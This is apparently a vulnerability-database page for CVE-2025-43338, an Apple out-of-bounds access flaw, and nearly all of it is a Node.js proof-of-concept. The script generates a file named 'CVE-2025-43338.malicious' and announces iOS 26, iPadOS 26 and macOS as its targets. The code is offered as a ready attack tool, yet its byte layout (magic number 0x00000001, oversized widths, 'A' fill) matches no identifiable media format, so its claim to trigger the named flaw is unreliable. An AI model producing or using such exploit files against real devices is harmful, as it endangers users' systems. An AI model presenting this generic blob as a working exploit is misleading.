CVE-2025-43338 Apple产品越界访问漏洞

// CVE-2025-43338 PoC - Malicious Media File Generator // This PoC generates a malformed media file that triggers out-of-bounds access const fs = require('fs'); class CVE202543338PoC { constructor() { this.header = Buffer.alloc(12); // Craft malicious header with invalid dimensions this.header.writeUInt32BE(0x00000001, 0); // Magic number this.header.writeUInt32BE(0xFFFFFFFF, 4); // Malformed size (triggers overflow) this.header.writeUInt32BE(0x00000001, 8); // Invalid flags // Malformed metadata chunk this.metadata = Buffer.alloc(256); this.metadata.write('CVE-2025-43338 PoC', 0, 20); // Craft invalid dimension values this.metadata.writeUInt32BE(0x7FFFFFFF, 20); // Invalid width this.metadata.writeUInt32BE(0x7FFFFFFF, 24); // Invalid height // Malformed data chunk with overflow trigger this.dataChunk = Buffer.alloc(1024); this.dataChunk.fill(0x41); // Fill with 'A' bytes this.dataChunk.writeUInt32BE(0xFFFFFFFF, 0); // Invalid chunk size } generatePocFile() { const pocBuffer = Buffer.concat([ this.header, this.metadata, this.dataChunk ]); fs.writeFileSync('CVE-2025-43338.malicious', pocBuffer); console.log('[+] PoC file generated: CVE-2025-43338.malicious'); console.log('[+] File size:', pocBuffer.length, 'bytes'); return pocBuffer; } } // Execute PoC generation const poc = new CVE202543338PoC(); poc.generatePocFile(); console.log('[+] Target: Apple iOS 26, iPadOS 26, macOS Sonoma/macOS Tahoe'); console.log('[+] Vulnerability: Out-of-bounds access via malformed media file');